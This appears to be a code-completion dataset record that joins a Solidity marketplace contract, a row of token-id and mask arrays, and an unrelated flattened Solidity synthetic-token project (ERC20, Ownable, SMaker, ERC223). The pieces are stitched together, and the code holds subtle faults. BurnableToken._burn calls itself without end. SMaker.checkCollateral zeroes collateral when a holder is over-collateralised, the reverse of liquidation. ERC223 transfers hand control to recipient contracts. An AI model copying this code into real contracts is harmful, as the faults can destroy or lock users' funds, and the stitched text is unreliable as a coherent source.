function createStoreFront( string storeName, string storeDescription ) public onlyStoreOwner returns(address){
uint storeCount = storeFrontMap[msg.sender].length;
if (storeCount == 0) {
storeFrontMap[msg.sender].length = 1;
} else {
storeFrontMap[msg.sender].length = storeCount + 1;
}
storeFrontMap[msg.sender][storeCount] = address(new Store(
storeName,
storeDescription,
nextStoreId,
msg.sender,
eip20Token ));
nextStoreId++;
emit NewStore(
storeName,
storeDescription,
msg.sender,
storeFrontMap[msg.sender][storeCount] );
return storeFrontMap[msg.sender][storeCount];
}
/**
* this function will be used for retriving all the stores of a given store owner
*
*/
function getStores(address storeOwnerAddress) public view returns(address[]) {
if ( storeOwnerAddress != 0 ) {
return storeFrontMap[storeOwnerAddress];
}
else {
//
// The caller is looking for all the stores in the market place
//
uint totalStoreCount = 0;
uint storeOwnersCount;
for (storeOwnersCount = 0; storeOwnersCount < storeOwners.length; storeOwnersCount++) {
totalStoreCount += storeFrontMap[storeOwners[storeOwnersCount]].length;
}
address[] memory allStores = new address[](totalStoreCount);
uint tempStoreCount = 0;
for ( storeOwnersCount = 0; storeOwnersCount < storeOwners.length; storeOwnersCount++ ) {
address[] memory storesOfOwner = storeFrontMap[storeOwners[storeOwnersCount]];
for ( uint storeFrontCountOfOwner = 0;
storeFrontCountOfOwner < storesOfOwner.length;
storeFrontCountOfOwner++) {
allStores[tempStoreCount] = storesOfOwner[storeFrontCountOfOwner];
tempStoreCount++;
}
}
return allStores;
}
}
/**
* Any Admin shall be able to allocate certain number of new tokens to a store owner.
* Of course, we need to make sure that a given address is indeed a store owner
*/
function allocateNewTokens(address storeOwnerAddress, uint256 numberOfTokens) public onlySuperAdmin returns(uint256){
require( Utils.existInTheArray(storeOwners, storeOwnerAddress), "The provided address is not a store owner!");
return eip20Token.issueNewTokens(superAdmin, storeOwnerAddress, numberOfTokens);
}
/**
* @dev This method returns the token balance of a given account.
* @param accountAddress is the address whose balance is being queried
*/
function getTokenBalance(address accountAddress) public view returns(uint256 tokenBalance) {
return eip20Token.balanceOf(accountAddress);
}
/**
* The market place can be destructed by only the super admin, that too when we have at least 75% of the store owners
* agreeing to this decision.
*/
function closeMarketPlace() public onlySuperAdmin {
bool haveConsentOfStoreOwners = getConsentForClosure();
require(haveConsentOfStoreOwners, "You do not have the sufficient consensus to close the market place!");
selfdestruct(superAdmin);
}
/**
* In case we want to allow the closure of the Market Place then implement this function
* with proper logic.
*/
function getConsentForClosure() private pure returns(bool) {
return false;
}
}
| * this function will be used for retriving all the stores of a given store owner/ The caller is looking for all the stores in the market place | function getStores(address storeOwnerAddress) public view returns(address[]) {
if ( storeOwnerAddress != 0 ) {
return storeFrontMap[storeOwnerAddress];
}
else {
uint totalStoreCount = 0;
uint storeOwnersCount;
for (storeOwnersCount = 0; storeOwnersCount < storeOwners.length; storeOwnersCount++) {
totalStoreCount += storeFrontMap[storeOwners[storeOwnersCount]].length;
}
address[] memory allStores = new address[](totalStoreCount);
uint tempStoreCount = 0;
for ( storeOwnersCount = 0; storeOwnersCount < storeOwners.length; storeOwnersCount++ ) {
address[] memory storesOfOwner = storeFrontMap[storeOwners[storeOwnersCount]];
for ( uint storeFrontCountOfOwner = 0;
storeFrontCountOfOwner < storesOfOwner.length;
storeFrontCountOfOwner++) {
allStores[tempStoreCount] = storesOfOwner[storeFrontCountOfOwner];
tempStoreCount++;
}
}
return allStores;
}
}
| 1,844,452 | [
1,
2211,
445,
903,
506,
1399,
364,
17343,
9288,
777,
326,
9064,
434,
279,
864,
1707,
3410,
19,
1021,
4894,
353,
7849,
364,
777,
326,
9064,
316,
326,
13667,
3166,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
13125,
12,
2867,
1707,
5541,
1887,
13,
1071,
1476,
1135,
12,
2867,
63,
5717,
288,
203,
3639,
309,
261,
1707,
5541,
1887,
480,
374,
262,
288,
203,
5411,
327,
1707,
9580,
863,
63,
2233,
5541,
1887,
15533,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
2254,
2078,
2257,
1380,
273,
374,
31,
203,
5411,
2254,
1707,
5460,
414,
1380,
31,
203,
203,
5411,
364,
261,
2233,
5460,
414,
1380,
273,
374,
31,
1707,
5460,
414,
1380,
411,
1707,
5460,
414,
18,
2469,
31,
1707,
5460,
414,
1380,
27245,
288,
203,
7734,
2078,
2257,
1380,
1011,
1707,
9580,
863,
63,
2233,
5460,
414,
63,
2233,
5460,
414,
1380,
65,
8009,
2469,
31,
203,
5411,
289,
203,
203,
5411,
1758,
8526,
3778,
777,
13125,
273,
394,
1758,
8526,
12,
4963,
2257,
1380,
1769,
203,
5411,
2254,
1906,
2257,
1380,
273,
374,
31,
203,
203,
5411,
364,
261,
1707,
5460,
414,
1380,
273,
374,
31,
1707,
5460,
414,
1380,
411,
1707,
5460,
414,
18,
2469,
31,
1707,
5460,
414,
1380,
9904,
262,
288,
203,
7734,
1758,
8526,
3778,
9064,
951,
5541,
273,
1707,
9580,
863,
63,
2233,
5460,
414,
63,
2233,
5460,
414,
1380,
13563,
31,
203,
203,
7734,
364,
261,
2254,
1707,
9580,
1380,
951,
5541,
273,
374,
31,
203,
8227,
1707,
9580,
1380,
951,
5541,
411,
9064,
951,
5541,
18,
2469,
31,
203,
8227,
1707,
9580,
1380,
951,
5541,
27245,
288,
203,
5375,
777,
13125,
63,
5814,
2257,
1380,
65,
273,
9064,
951,
5541,
63,
2233,
9580,
1380,
951,
5541,
15533,
2
] |
// File: contracts/tokens/IERC20.sol
pragma solidity 0.5.14;
/**
* Abstract contract(interface) for the full ERC 20 Token standard
* see https://github.com/ethereum/EIPs/issues/20
* This is a simple fixed supply token contract.
*/
contract ERC20 {
/**
* Get the total token supply
*/
function totalSupply() public view returns (uint256 supply);
/**
* Get the account balance of an account with address _owner
*/
function balanceOf(address _owner) public view returns (uint256 balance);
/**
* Send _value amount of tokens to address _to
* Only the owner can call this function
*/
function transfer(address _to, uint256 _value) public returns (bool success);
/**
* Send _value amount of tokens from address _from to address _to
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/** Allow _spender to withdraw from your account, multiple times, up to the _value amount.
* If this function is called again it overwrites the current allowance with _value.
* this function is required for some DEX functionality
*/
function approve(address _spender, uint256 _value) public returns (bool success);
/**
* Returns the amount which _spender is still allowed to withdraw from _owner
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
/**
* Triggered when tokens are transferred from one address to another
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Triggered whenever approve(address spender, uint256 value) is called.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/library/SafeERC20.sol
pragma solidity 0.5.14;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
// File: contracts/library/SafeMath.sol
pragma solidity 0.5.14;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
// Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/library/SignedSafeMath.sol
pragma solidity 0.5.14;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// File: contracts/tokens/StandardToken.sol
pragma solidity 0.5.14;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) private allowed;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != address(0));
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
// File: contracts/tokens/Ownable.sol
pragma solidity 0.5.14;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/tokens/MintableToken.sol
pragma solidity 0.5.14;
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public hasMintPermission canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
// TODO add function to enable/disable minting
}
// File: contracts/tokens/BurnableToken.sol
pragma solidity 0.5.14;
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns (bool success) {
_burn(msg.sender, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
_burnFrom(_from, _value);
return true;
}
/**
* @dev Overrides StandardToken._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address _who, uint256 _value) internal {
_burn(_who, _value);
emit Burn(_who, _value);
}
}
// File: contracts/tokens/SToken.sol
pragma solidity 0.5.14;
contract SToken is MintableToken {
// meta data
string public constant version = '0.1';
uint public constant decimals = 18;
string public symbol;
string public name;
bool public short;
// data
uint public price;
/**
*
* @param initialBalance balance (18 decimals)
* @param _name name
* @param _symbol unique token symbol
* @param _short is it a short?
*/
constructor(uint initialBalance, string memory _symbol, string memory _name, bool _short) public {
symbol = _symbol;
name = _name;
short = _short;
_mint(msg.sender, initialBalance);
}
/**
* @dev Burns a specific amount of tokens.
* @param _account The address of the token holder
* @param _value The amount of token to be burned.
*/
function burn(address _account, uint _value) public onlyOwner returns (bool success) {
_burn(_account, _value);
return true;
}
}
// File: contracts/maker/SMaker.sol
pragma solidity 0.5.14;
contract SMaker is Ownable {
using SafeMath for uint;
using SafeMath for uint32;
using SignedSafeMath for int;
string public version = "0.1";
string public symbol;
string public name;
uint32 public price;
uint32 public priceTimestamp;
uint32 public constant DECIMALS = 4;
uint32 public constant PRICE_DENOMINATOR = 10 ** 4;
uint32 public constant COLLATERAL_MARGIN = 20; // %
uint32 public constant LIQUIDATION_LEVEL = 10; // %
// collateral held by each token holder
mapping(address => uint) internal collateral;
struct Position {
// SUM (entry_price * position_size)
int netPosition;
uint nbLongTokens;
uint nbShortTokens;
}
mapping(address => Position) internal positions;
address public oracle;
ERC20 public collateralToken;
SToken public longToken;
SToken public shortToken;
int public totalNetExposure;
modifier onlyOracle() {
require(msg.sender == oracle);
_;
}
event TokenMinted (
address indexed user,
address indexed tokenAddr,
string symbol,
uint amount
);
event TokenBurned (
address indexed user,
address indexed tokenAddr,
string symbol,
uint amount
);
event TokensLiquidated (
address indexed owner,
address indexed tokenAddr,
uint amount
);
/**
*
*/
constructor(string memory _symbol, address _collateralToken, address _shortToken, address _longToken, address _oracle) public {
collateralToken = ERC20(_collateralToken);
shortToken = SToken(_shortToken);
longToken = SToken(_longToken);
oracle = _oracle;
symbol = _symbol;
}
function setPrice(uint32 _price) external onlyOracle {
price = _price;
}
function setOracle(address _oracle) external onlyOwner {
oracle = _oracle;
}
function getPosition() external view returns (int netPosition, uint nbLongTokens, uint nbShortTokens) {
return (positions[msg.sender].netPosition, positions[msg.sender].nbLongTokens, positions[msg.sender].nbShortTokens);
}
/**
* Get current Profit and Loss of an account
*/
function getPnlOf(address accountOwner) internal view returns (int amount) {
Position memory pos = positions[accountOwner];
int pnl = int(price).mul(int(pos.nbLongTokens).sub(int(pos.nbShortTokens)).div(PRICE_DENOMINATOR)).sub(pos.netPosition);
return pnl;
}
function getPnl() public view returns (int amount) {
return getPnlOf(msg.sender);
}
function getCollateral() public view returns (uint amount) {
return collateral[msg.sender];
}
function getRequiredCollateral() public view returns (uint amount) {
return getRequiredCollateralOf(msg.sender, 0, true, COLLATERAL_MARGIN);
}
function getRequiredCollateralOf(address caller, uint amountToMint, bool long, uint32 margin) internal view returns (uint amount) {
// min required collateral
int netPosition = positions[caller].netPosition >= 0 ? positions[caller].netPosition : - positions[caller].netPosition;
int netExposure;
// considering new tokens
if (long) {
netExposure = netPosition.add(int(price.mul(amountToMint).div(PRICE_DENOMINATOR)));
} else {
netExposure = netPosition.sub(int(price.mul(amountToMint).div(PRICE_DENOMINATOR)));
}
// we need abs(netExposure)
if (netExposure < 0) {
netExposure = - netExposure;
}
int collateralMargin = netExposure.mul(int(margin)).div(100);
// current profit and loss
int requiredCollateral = collateralMargin.sub(getPnlOf(caller));
if (requiredCollateral < 0) {
return 0;
} else {
return uint(requiredCollateral);
}
}
function transferCollateral(uint amount) public {
transferCollateralFrom(msg.sender, amount);
}
function transferCollateralFrom(address sender, uint amount) internal {
require(collateralToken.transferFrom(sender, address(this), amount), "Failed to transfer collateral");
collateral[sender] = collateral[sender].add(amount);
}
function redeemCollateral(uint amount) external {
address redeemer = msg.sender;
uint requiredCollateral = getRequiredCollateralOf(redeemer, 0, true, COLLATERAL_MARGIN);
require(collateral[redeemer] >= requiredCollateral.add(amount), "Minimal collateral is required");
require(collateralToken.transfer(redeemer, amount), "Failed to transfer collateral back");
collateral[redeemer] = collateral[redeemer].sub(amount);
}
/**
* A user can mint a synthetic token provided he has deposited collateral
*/
function mintLongTokens(uint amount) external {
address caller = msg.sender;
// Transfer collateral into the contract. Assumes caller has approved the transfer of the ERC20 token
uint requiredCollateral = getRequiredCollateralOf(caller, amount, true, COLLATERAL_MARGIN);
uint availableCollateral = collateral[caller];
if (requiredCollateral > availableCollateral) {
uint collateralToTransfer = requiredCollateral.sub(availableCollateral);
transferCollateralFrom(caller, collateralToTransfer);
}
require(longToken.mint(caller, amount), "Failed to mint STokens");
emit TokenMinted(caller, address(longToken), longToken.symbol(), amount);
positions[caller].nbLongTokens = positions[caller].nbLongTokens.add(amount);
positions[caller].netPosition = positions[caller].netPosition.add(int(amount.mul(price).div(PRICE_DENOMINATOR)));
}
/**
* A user can mint a synthetic token provided he has deposited collateral
*/
function mintShortTokens(uint amount) external {
address caller = msg.sender;
// Transfer collateral into the contract. Assumes caller has approved the transfer of the ERC20 token
uint requiredCollateral = getRequiredCollateralOf(caller, amount, false, COLLATERAL_MARGIN);
uint availableCollateral = collateral[caller];
if (requiredCollateral > availableCollateral) {
uint collateralToTransfer = requiredCollateral.sub(availableCollateral);
transferCollateralFrom(caller, collateralToTransfer);
}
require(shortToken.mint(caller, amount), "Failed to mint STokens");
emit TokenMinted(caller, address(shortToken), shortToken.symbol(), amount);
positions[caller].nbShortTokens = positions[caller].nbShortTokens.add(amount);
positions[caller].netPosition = positions[caller].netPosition.sub(int(amount.mul(price).div(PRICE_DENOMINATOR)));
}
function burnLongTokens(uint amount) external {
address caller = msg.sender;
require(longToken.burn(caller, amount), "Failed to burn STokens");
emit TokenBurned(caller, address(longToken), longToken.symbol(), amount);
positions[caller].nbLongTokens = positions[caller].nbLongTokens.sub(amount);
positions[caller].netPosition = positions[caller].netPosition.sub(int(amount.mul(price).div(PRICE_DENOMINATOR)));
}
function burnShortTokens(uint amount) external {
address caller = msg.sender;
require(shortToken.burn(caller, amount), "Failed to burn STokens");
emit TokenBurned(caller, address(shortToken), shortToken.symbol(), amount);
positions[caller].nbShortTokens = positions[caller].nbShortTokens.sub(amount);
positions[caller].netPosition = positions[caller].netPosition.add(int(amount.mul(price).div(PRICE_DENOMINATOR)));
}
function checkCollateral(address tokenHolder) public {
uint liquidationCollateral = getRequiredCollateralOf(tokenHolder, 0, true, LIQUIDATION_LEVEL);
uint col = collateral[tokenHolder];
if (liquidationCollateral < collateral[tokenHolder]) {
collateral[tokenHolder] = 0;
// bye bye money
emit TokensLiquidated(tokenHolder, address(collateralToken), col);
}
}
}
// File: contracts/tokens/IERC223.sol
pragma solidity ^0.5.14;
contract IERC223 {
/**
* @dev Returns the total supply of the token.
*/
uint public _totalSupply;
/**
* @dev Returns the balance of the `who` address.
*/
function balanceOf(address who) public view returns (uint);
/**
* @dev Transfers `value` tokens from `msg.sender` to `to` address
* and returns `true` on success.
*/
function transfer(address to, uint value) public returns (bool success);
/**
* @dev Transfers `value` tokens from `msg.sender` to `to` address with `data` parameter
* and returns `true` on success.
*/
function transfer(address to, uint value, bytes memory data) public returns (bool success);
/**
* @dev Event that is fired on successful transfer.
*/
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
// File: contracts/tokens/IERC223Recipient.sol
pragma solidity ^0.5.1;
/**
* @title Contract that will work with ERC223 tokens.
*/
contract IERC223Recipient {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes memory _data) public;
}
// File: contracts/library/Address.sol
pragma solidity ^0.5.14;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
// File: contracts/tokens/ERC223.sol
pragma solidity ^0.5.14;
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223Token is IERC223 {
using SafeMath for uint;
/**
* @dev See `IERC223.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
mapping(address => uint) balances; // List of user balances.
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes memory _data) public returns (bool success){
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(Address.isContract(_to)) {
IERC223Recipient receiver = IERC223Recipient(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) public returns (bool success){
bytes memory empty = hex"00000000";
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(Address.isContract(_to)) {
IERC223Recipient receiver = IERC223Recipient(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value, empty);
return true;
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
// File: contracts/tokens/ERC223Burnable.sol
